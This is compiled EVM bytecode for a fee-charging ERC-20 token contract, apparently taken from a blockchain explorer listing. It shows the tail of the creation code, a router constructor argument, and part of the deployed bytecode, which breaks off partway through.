ffffffffffffffffffffffff1681526020019081526020016000205414610ce457610c63826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b979092919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610cef848484611bfb565b90509392505050565b60006009905090565b6000610d2d827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6107e7565b9050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db990613198565b60405180910390fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601660009054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ebe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb590613198565b60405180910390fd5b83600a8190555082600b8190555081600c81905550610efa600c54610eec8587611f8190919063ffffffff16565b611f8190919063ffffffff16565b600d8190555080600e819055506003600e54610f1691906131e7565b600d5410610f59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5090613264565b60405180910390fd5b50505050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611036576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102d90613198565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061119d57503373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6111dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d390612ff6565b60405180910390fd5b80601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606002805461125890612f79565b80601f016020809104026020016040519081016040528092919081815260200182805461128490612f79565b80156112d15780601f106112a6576101008083540402835291602001916112d1565b820191906000526020600020905b8154815290600101906020018083116112b457829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611369576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136090613198565b60405180910390fd5b81601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611485338484611bfb565b905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061153657503373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611575576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156c90612ff6565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff166108fc6115a3606484611b4d90919063ffffffff16565b476115ae9190613087565b9081150290604051600060405180830381858888f193505050501580156115d9573d6000803e3d6000fd5b505050565b60185481565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806116b357503373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6116f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e990612ff6565b60405180910390fd5b82601660006101000a81548160ff0219169083151502179055508160178190555080601881905550505050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061187557503373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6118b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ab90612ff6565b60405180910390fd5b80600f8190555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461194c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194390613198565b60405180910390fd5b600060155403611962574360158190555061196b565b60006015819055505b565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119f290613198565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611a6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a61906132d0565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611b8f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611fdf565b905092915050565b6000838311158290611bdf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd69190612b35565b60405180910390fd5b5060008385611bee91906132f0565b9050809150509392505050565b6000611c05612042565b8015611c5e5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611c6c57611c6b612119565b5b60006298968083611c7d91906131e7565b9050600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611d265750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15611d3a578083611d3791906132f0565b92505b611dc3836040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b979092919063ffffffff16565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000611e128686612770565b611e1c5783611e78565b611e778685601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff161461281e565b5b9050611ecc81600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f8190919063ffffffff16565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611f6c9190612a8a565b60405180910390a36001925050509392505050565b6000808284611f909190613324565b905083811015611fd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fcc906133a4565b60405180910390fd5b8091505092915050565b60008083118290612026576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161201d9190612b35565b60405180910390fd5b506000838561203591906131e7565b9050809150509392505050565b6000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156120af5750601960009054906101000a900460ff16155b80156120c75750601660009054906101000a900460ff165b80156121145750601754600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6001601960006101000a81548160ff0219169083151502179055506000601854600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156121895760185490506121cc565b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b600061220a60026121fc600d546121ee600a54876129ad90919063ffffffff16565b611b4d90919063ffffffff16565b611b4d90919063ffffffff16565b905060006122218284612a2790919063ffffffff16565b90506000600267ffffffffffffffff8111156122405761223f6133c4565b5b60405190808252806020026020018201604052801561226e5781602001602082028036833780820191505090505b5090503081600081518110612286576122856133f3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561232d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123519190613437565b81600181518110612365576123646133f3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161240395949392919061355d565b600060405180830381600087803b15801561241d57600080fd5b505af1158015612431573d6000803e3d6000fd5b50505050600047905060006124666124556002600a54611b4d90919063ffffffff16565b600d54612a2790919063ffffffff16565b905060006124a4600261249684612488600a54886129ad90919063ffffffff16565b611b4d90919063ffffffff16565b611b4d90919063ffffffff16565b905060006124cf836124c1600b54876129ad90919063ffffffff16565b611b4d90919063ffffffff16565b905060006124fa846124ec600c54886129ad90919063ffffffff16565b611b4d90919063ffffffff16565b905060008083111561259a57601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168361753090604051612550906135e8565b600060405180830381858888f193505050503d806000811461258e576040519150601f19603f3d011682016040523d82523d6000602084013e612593565b606091505b5050809150505b600082111561263757601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682617530906040516125ed906135e8565b600060405180830381858888f193505050503d806000811461262b576040519150601f19603f3d011682016040523d82523d6000602084013e612630565b606091505b5050809150505b600089111561274957601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71985308c600080601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016126c9969594939291906135fd565b60606040518083038185885af11580156126e7573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061270c919061365e565b5050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b4506848a6040516127409291906136b1565b60405180910390a15b505050505050505050506000601960006101000a81548160ff021916908315150217905550565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156128165750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905092915050565b6000808261282d576064612831565b600f545b905060008060155411612845576063612849565b600d545b905060006128926064600e5461285f9190613087565b61288485612876868b6129ad90919063ffffffff16565b6129ad90919063ffffffff16565b611b4d90919063ffffffff16565b90506128e681600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f8190919063ffffffff16565b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516129869190612a8a565b60405180910390a36129a18187612a2790919063ffffffff16565b93505050509392505050565b60008083036129bf5760009050612a21565b600082846129cd9190613087565b90508284826129dc91906131e7565b14612a1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a139061374c565b60405180910390fd5b809150505b92915050565b6000612a6983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b97565b905092915050565b6000819050919050565b612a8481612a71565b82525050565b6000602082019050612a9f6000830184612a7b565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612adf578082015181840152602081019050612ac4565b60008484015250505050565b6000601f19601f8301169050919050565b6000612b0782612aa5565b612b118185612ab0565b9350612b21818560208601612ac1565b612b2a81612aeb565b840191505092915050565b60006020820190508181036000830152612b4f8184612afc565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612b8782612b5c565b9050919050565b612b9781612b7c565b8114612ba257600080fd5b50565b600081359050612bb481612b8e565b92915050565b612bc381612a71565b8114612bce57600080fd5b50565b600081359050612be081612bba565b92915050565b60008060408385031215612bfd57612bfc612b57565b5b6000612c0b85828601612ba5565b9250506020612c1c85828601612bd1565b9150509250929050565b60008115159050919050565b612c3b81612c26565b82525050565b6000602082019050612c566000830184612c32565b92915050565b600080600060608486031215612c7557612c74612b57565b5b6000612c8386828701612ba5565b9350506020612c9486828701612ba5565b9250506040612ca586828701612bd1565b9150509250925092565b600060ff82169050919050565b612cc581612caf565b82525050565b6000602082019050612ce06000830184612cbc565b92915050565b600060208284031215612cfc57612cfb612b57565b5b6000612d0a84828501612ba5565b91505092915050565b612d1c81612c26565b8114612d2757600080fd5b50565b600081359050612d3981612d13565b92915050565b60008060408385031215612d5657612d55612b57565b5b6000612d6485828601612ba5565b9250506020612d7585828601612d2a565b9150509250929050565b60008060008060808587031215612d9957612d98612b57565b5b6000612da787828801612bd1565b9450506020612db887828801612bd1565b9350506040612dc987828801612bd1565b9250506060612dda87828801612bd1565b91505092959194509250565b612def81612b7c565b82525050565b6000602082019050612e0a6000830184612de6565b92915050565b60008060408385031215612e2757612e26612b57565b5b6000612e3585828601612ba5565b9250506020612e4685828601612ba5565b9150509250929050565b600080600060608486031215612e6957612e68612b57565b5b6000612e7786828701612d2a565b9350506020612e8886828701612bd1565b9250506040612e9986828701612bd1565b9150509250925092565b600060208284031215612eb957612eb8612b57565b5b6000612ec784828501612bd1565b91505092915050565b6000819050919050565b6000612ef5612ef0612eeb84612b5c565b612ed0565b612b5c565b9050919050565b6000612f0782612eda565b9050919050565b6000612f1982612efc565b9050919050565b612f2981612f0e565b82525050565b6000602082019050612f446000830184612f20565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612f9157607f821691505b602082108103612fa457612fa3612f4a565b5b50919050565b7f2146756e64657200000000000000000000000000000000000000000000000000600082015250565b6000612fe0600783612ab0565b9150612feb82612faa565b602082019050919050565b6000602082019050818103600083015261300f81612fd3565b9050919050565b60008151905061302581612bba565b92915050565b60006020828403121561304157613040612b57565b5b600061304f84828501613016565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061309282612a71565b915061309d83612a71565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156130d6576130d5613058565b5b828202905092915050565b60006040820190506130f66000830185612de6565b6131036020830184612a7b565b9392505050565b60008151905061311981612d13565b92915050565b60006020828403121561313557613134612b57565b5b60006131438482850161310a565b91505092915050565b7f216f776e65720000000000000000000000000000000000000000000000000000600082015250565b6000613182600683612ab0565b915061318d8261314c565b602082019050919050565b600060208201905081810360008301526131b181613175565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006131f282612a71565b91506131fd83612a71565b92508261320d5761320c6131b8565b5b828204905092915050565b7f466565732063616e6e6f74206265206d6f7265207468616e2033332500000000600082015250565b600061324e601c83612ab0565b915061325982613218565b602082019050919050565b6000602082019050818103600083015261327d81613241565b9050919050565b7f6e65772069732030000000000000000000000000000000000000000000000000600082015250565b60006132ba600883612ab0565b91506132c582613284565b602082019050919050565b600060208201905081810360008301526132e9816132ad565b9050919050565b60006132fb82612a71565b915061330683612a71565b925082820390508181111561331e5761331d613058565b5b92915050565b600061332f82612a71565b915061333a83612a71565b925082820190508082111561335257613351613058565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061338e601b83612ab0565b915061339982613358565b602082019050919050565b600060208201905081810360008301526133bd81613381565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061343181612b8e565b92915050565b60006020828403121561344d5761344c612b57565b5b600061345b84828501613422565b91505092915050565b6000819050919050565b600061348961348461347f84613464565b612ed0565b612a71565b9050919050565b6134998161346e565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6134d481612b7c565b82525050565b60006134e683836134cb565b60208301905092915050565b6000602082019050919050565b600061350a8261349f565b61351481856134aa565b935061351f836134bb565b8060005b8381101561355057815161353788826134da565b9750613542836134f2565b925050600181019050613523565b5085935050505092915050565b600060a0820190506135726000830188612a7b565b61357f6020830187613490565b818103604083015261359181866134ff565b90506135a06060830185612de6565b6135ad6080830184612a7b565b9695505050505050565b600081905092915050565b50565b60006135d26000836135b7565b91506135dd826135c2565b600082019050919050565b60006135f3826135c5565b9150819050919050565b600060c0820190506136126000830189612de6565b61361f6020830188612a7b565b61362c6040830187613490565b6136396060830186613490565b6136466080830185612de6565b61365360a0830184612a7b565b979650505050505050565b60008060006060848603121561367757613676612b57565b5b600061368586828701613016565b935050602061369686828701613016565b92505060406136a786828701613016565b9150509250925092565b60006040820190506136c66000830185612a7b565b6136d36020830184612a7b565b9392505050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613736602183612ab0565b9150613741826136da565b604082019050919050565b6000602082019050818103600083015261376581613729565b905091905056fea2646970667358221220cf54039e837acde4419b28b9dac3fd816bc465dc113a1ca59e1d08e45f267a1164736f6c634300081000330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

Deployed Bytecode

0x6080604052600436106101dc5760003560e01c806373a432bb11610102578063ca33e64c11610095578063ec72d65f11610064578063ec72d65f146106bb578063f11743f6146106e4578063f2fde38b146106fb578063f887ea4014610724576101e3565b8063ca33e64c146105ff578063d08893581461062a578063dd62ed3e14610653578063e96fada214610690576101e3565b8063a8aa1b31116100d1578063a8aa1b3114610543578063a9059cbb1461056e578063aa8b38d9146105ab578063acef1a44146105d4576101e3565b806373a432bb1461049b5780638da5cb5b146104c457806395d89b41146104ef578063a4b45c001461051a576101e3565b806323b872dd1161017a5780636ddd1713116101495780636ddd1713146103f35780636fcba3771461041e57806370a0823114610447578063715018a614610484576101e3565b806323b872dd14610325578063313ce56714610362578063571ac8b01461038d578063658d4b7f146103ca576101e3565b8063125bfb66116101b6578063125bfb661461027b578063180b0d7e146102a457806318160ddd146102cf5780631df4ccfc146102fa576101e3565b80630445b667146101e857806306fdde0314610213578063095ea7b31461023e576101e3565b366101e357005b600080fd5b3480156101f457600080fd5b506101fd61074f565b60405161020a9190612a8a565b60405180910390f35b34801561021f57600080fd5b50610228610755565b6040516102359190612b35565b60405180910390f35b34801561024a57600080fd5b5061026560048036038101906102609190612be6565b6107e7565b6040516102729190612c41565b60405180910390f35b34801561028757600080fd5b506102a2600480360381019061029d9190612c5c565b6108d9565b005b3480156102b057600080fd5b506102b9610ae2565b6040516102c69190612a8a565b60405180910390f35b3480156102db57600080fd5b506102e4610ae8565b6040516102f19190612a8a565b60405180910390f35b34801561030657600080fd5b5061030f610af2565b60405161031c9190612a8a565b60405180910390f35b34801561033157600080fd5b5061034c60048036038101906103479190612c5c565b610af8565b6040516103599190612c41565b60405180910390f35b34801561036e57600080fd5b50610377610cf8565b6040516103849190612ccb565b60405180910390f35b34801561039957600080fd5b506103b460048036038101906103af9190612ce6565b610d01565b6040516103c19190612c41565b60405180910390f35b3480156103d657600080fd5b506103f160048036038101906103ec9190612d3f565b610d34565b005b3480156103ff57600080fd5b50610408610e1d565b6040516104159190612c41565b60405180910390f35b34801561042a57600080fd5b5061044560048036038101906104409190612d7f565b610e30565b005b34801561045357600080fd5b5061046e60048036038101906104699190612ce6565b610f5f565b60405161047b9190612a8a565b60405180910390f35b34801561049057600080fd5b50610499610fa8565b005b3480156104a757600080fd5b506104c260048036038101906104bd9190612ce6565b6110f4565b005b3480156104d057600080fd5b506104d9611220565b6040516104e69190612df5565b60405180910390f35b3480156104fb57600080fd5b50610504611249565b6040516105119190612b35565b60405180910390f35b34801561052657600080fd5b50610541600480360381019061053c9190612e10565b6112db565b005b34801561054f57600080fd5b50610558611452565b6040516105659190612df5565b60405180910390f35b34801561057a57600080fd5b5061059560048036038101906105909190612be6565b611478565b6040516105a29190612c41565b60405180910390f35b3480156105b757600080fd5b506105d260048036038101906105cd9190612be6565b61148d565b005b3480156105e057600080fd5b506105e96115de565b6040516105f69190612a8a565b60405180910390f35b34801561060b57600080fd5b506106146115e4565b6040516106219190612df5565b60405180910390f35b34801561063657600080fd5b50610651600480360381019061064c9190612e50565b61160a565b005b34801561065f57600080fd5b5061067a60048036038101906106759190612e10565b61171f565b6040516106879190612a8a565b60405180910390f35b34801561069c57600080fd5b506106a56117a6565b6040516106b29190612df5565b60405180910390f35b3480156106c757600080fd5b506106e260048036038101906106dd9190612ea3565b6117cc565b005b3480156106f057600080fd5b506106f96118be565b005b34801561070757600080fd5b50610722600480360381019061071d9190612ce6565b61196d565b005b34801561073057600080fd5b50610739611b27565b6040516107469190612f2f565b60405180910390f35b60175481565b60606001805461076490612f79565b80601f016020809104026020016040519081016040528092919081815260200182805461079090612f79565b80156107dd5780601f106107b2576101008083540402835291602001916107dd565b820191906000526020600020905b8154815290600101906020018083116107c057829003601f168201915b5050505050905090565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516108c79190612a8a565b60405180910390a36001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061098257503373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6109c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b890612ff6565b60405180910390fd5b60008373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016109fc9190612df5565b602060405180830381865afa158015610a19573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3d919061302b565b90508373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84610a70606486611b4d90919063ffffffff16565b84610a7b9190613087565b6040518363ffffffff1660e01b8152600401610a989291906130e1565b6020604051808303816000875af1158015610ab7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610adb919061311f565b5050505050565b600e5481565b6000600354905090565b600d5481565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610ce457610c63826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b979092919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610cef848484611bfb565b90509392505050565b60006009905090565b6000610d2d827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6107e7565b9050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db990613198565b60405180910390fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601660009054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ebe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb590613198565b60405180910390fd5b83600a8190555082600b8190555081600c81905550610efa600c54610eec8587611f8190919063ffffffff16565b611f8190919063ffffffff16565b600d8190555080600e819055506003600e54610f1691906131e7565b600d5410610f59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5090613264565b60405180910390fd5b50505050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611036576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102d90613198565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061119d57503373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6111dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d390612ff6565b60405180910390fd5b80601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606002805461125890612f79565b80601f016020809104026020016040519081016040528092919081815260200182805461128490612f79565b80156112d15780601f106112a6576101008083540402835291602001916112d1565b820191906000526020600020905b8154815290600101906020018083116112b457829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611369576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136090613198565b60405180910390fd5b81601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601260006101000a81548173fffffffffffffffffff